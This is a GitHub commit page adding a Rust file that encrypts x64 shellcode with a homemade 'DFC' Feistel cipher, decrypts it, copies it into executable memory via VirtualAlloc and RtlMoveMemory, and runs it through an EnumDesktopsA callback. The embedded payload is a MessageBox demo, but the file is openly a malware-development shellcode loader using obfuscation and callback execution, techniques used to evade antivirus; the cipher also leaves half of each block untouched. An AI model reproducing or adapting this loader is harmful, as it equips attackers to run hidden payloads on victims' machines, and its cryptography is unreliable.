Skip to content

Commit 28fac7e

Browse files
committed
DFC Encryption in Rust
1 parent a7bf24b commit 28fac7e

File tree

1 file changed

+194
-0
lines changed

1 file changed

+194
-0
lines changed

Encryption Methods/dfc_algorithm.rs

Lines changed: 194 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,194 @@
1+
/*
2+
Rust DFC Encrypyion Techniques
3+
Description Encrypt and execute payload using DFC Algorithm.
4+
Original POC and Credits goes to Cocomelonc: https://cocomelonc.github.io/malware/2024/11/10/malware-cryptography-34.html
5+
@5mukx
6+
*/
7+
8+
9+
use std::ptr;
10+
use winapi::shared::minwindef::LPVOID;
11+
use winapi::um::memoryapi::VirtualAlloc;
12+
use winapi::um::winnt::RtlMoveMemory;
13+
use winapi::um::winnt::MEM_COMMIT;
14+
use winapi::um::winnt::PAGE_EXECUTE_READWRITE;
15+
use winapi::um::winuser::EnumDesktopsA;
16+
use winapi::um::winuser::GetProcessWindowStation;
17+
18+
const ROUNDS: usize = 8;
19+
const BLOCK_SIZE: usize = 16;
20+
21+
// subkeys generated from the main key
22+
static mut K: [[u8; 16]; ROUNDS] = [[0; 16]; ROUNDS];
23+
24+
// rotate left func
25+
fn rot_l(x: u32, shift: u32) -> u32{
26+
(x << shift) | (x >> (32 - shift))
27+
}
28+
29+
// function f for DFC round
30+
fn f(left: u32, key_part: u32) -> u32{
31+
rot_l(left.wrapping_add(key_part), 3) ^ key_part
32+
}
33+
34+
// DFC G function applies Feistel structure in each round
35+
36+
fn g(left: &mut u32, right: &mut u32, round_key: &[u8]) {
37+
let temp_right = *right;
38+
*right = *left ^ f(*right, u32::from_ne_bytes(round_key[0..4].try_into().unwrap()));
39+
*left = temp_right;
40+
}
41+
42+
// key schecule for DFC
43+
fn key_schedule(key: &[u8]) {
44+
unsafe {
45+
for i in 0..ROUNDS {
46+
for j in 0..16 {
47+
K[i][j] = key[j % 8] ^ (i as u8 + j as u8);
48+
}
49+
}
50+
}
51+
}
52+
53+
// DFC Encryption
54+
fn dfc_encrypt(block: &mut [u32; 2], _key: &[u8]) {
55+
let (mut left, mut right) = (block[0], block[1]);
56+
57+
unsafe {
58+
for i in 0..ROUNDS {
59+
g(&mut left, &mut right, &K[i]);
60+
}
61+
}
62+
63+
block[0] = right;
64+
block[1] = left;
65+
}
66+
67+
// DFC decryption function
68+
fn dfc_decrypt(block: &mut [u32; 2], _key: &[u8]) {
69+
let (mut left, mut right) = (block[0], block[1]);
70+
71+
unsafe {
72+
for i in (0..ROUNDS).rev() {
73+
g(&mut left, &mut right, &K[i]);
74+
}
75+
}
76+
77+
block[0] = right;
78+
block[1] = left;
79+
}
80+
81+
// encrypt shellcode
82+
fn dfc_encrypt_shellcode(shellcode: &mut [u8], key: &[u8]) {
83+
key_schedule(key);
84+
for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) {
85+
let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()),
86+
u32::from_ne_bytes(chunk[4..8].try_into().unwrap())];
87+
dfc_encrypt(&mut block, key);
88+
chunk[0..4].copy_from_slice(&block[0].to_ne_bytes());
89+
chunk[4..8].copy_from_slice(&block[1].to_ne_bytes());
90+
}
91+
}
92+
93+
// decrypt shellcode
94+
fn dfc_decrypt_shellcode(shellcode: &mut [u8], key: &[u8]) {
95+
key_schedule(key);
96+
for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) {
97+
let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()),
98+
u32::from_ne_bytes(chunk[4..8].try_into().unwrap())];
99+
dfc_decrypt(&mut block, key);
100+
chunk[0..4].copy_from_slice(&block[0].to_ne_bytes());
101+
chunk[4..8].copy_from_slice(&block[1].to_ne_bytes());
102+
}
103+
}
104+
105+
fn main() {
106+
107+
// msgbox_shellcode
108+
let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
109+
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
110+
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
111+
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
112+
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
113+
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
114+
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
115+
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
116+
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
117+
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
118+
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
119+
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
120+
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
121+
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
122+
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
123+
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
124+
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
125+
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
126+
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
127+
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
128+
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
129+
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
130+
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
131+
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
132+
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
133+
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
134+
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
135+
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
136+
];
137+
138+
let my_payload_len = shellcode.len();
139+
140+
let pad_len =
141+
my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
142+
let mut padded = vec![0x90; pad_len];
143+
144+
padded[..my_payload_len].copy_from_slice(&shellcode);
145+
146+
println!("Original shellcode:");
147+
148+
for byte in &shellcode {
149+
print!("{:02x} ", byte);
150+
}
151+
152+
println!("\n");
153+
154+
let key: [u8; 8] = [0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0];
155+
156+
dfc_encrypt_shellcode(&mut padded, &key);
157+
158+
println!("Encrypted shellcode:");
159+
160+
for byte in &padded {
161+
print!("{:02x} ", byte);
162+
}
163+
println!("\n");
164+
165+
dfc_decrypt_shellcode(&mut padded, &key);
166+
167+
println!("Decrypted shellcode:");
168+
for byte in &padded[..my_payload_len] {
169+
print!("{:02x} ", byte);
170+
}
171+
println!("\n");
172+
173+
// Allocate and execute decrypted shellcode
174+
unsafe {
175+
let mem: LPVOID = VirtualAlloc(ptr::null_mut(),
176+
my_payload_len,
177+
MEM_COMMIT,
178+
PAGE_EXECUTE_READWRITE
179+
);
180+
181+
182+
if !mem.is_null() {
183+
RtlMoveMemory(mem,
184+
padded.as_ptr() as *const winapi::ctypes::c_void,
185+
my_payload_len
186+
);
187+
EnumDesktopsA(GetProcessWindowStation(),
188+
std::mem::transmute(mem),
189+
0,
190+
);
191+
}
192+
}
193+
}
194+

0 commit comments

Comments
 (0)